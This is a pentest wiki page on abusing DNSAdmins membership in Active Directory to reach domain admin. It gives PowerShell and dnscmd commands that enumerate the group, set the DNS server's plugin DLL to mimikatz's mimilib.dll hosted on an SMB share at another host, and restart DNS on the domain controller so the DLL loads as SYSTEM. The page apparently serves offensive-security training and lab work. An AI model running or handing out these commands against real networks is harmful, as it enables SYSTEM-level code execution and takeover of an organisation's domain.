> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/privilege_escalation/dns_admins.md).

# DNS Admins

## General

* Members of the DNS Admins group can load arbitrary DLL's with the privileges of dns.exe (SYSTEM)
* If the DC serves as DNS server, we can escalate to DA
* But: need to be able to restart the DNS on the DC

## Exploitation

* Can use mimilib.dll from mimikatz
* Modify kdns.c or use boiler plate from [here](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise)
* mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log by default
* Host DLL on SMB server with anonymous access
* Be careful, else DNS might fail -> noisy!

```powershell
# Enumerate members of DNSAdmins group
# Using PowerView 3.0
Get-DomainGroupMember "DNSAdmins"

# Using AD Module
Get-ADGroupMember -Identity "DNSAdmins"

# With privileges of DNSAdmins member, e.g. through PTH, configure DLL
# Using dnscmd.exe (needs RSAT DNS)
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.72.100\dll\mimilib.dll

# Using DNSServer module (needds RSAT DNS)
$dnsettings = Get-DNSServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\172.16.72.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose

# Restart DNS service
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```


---

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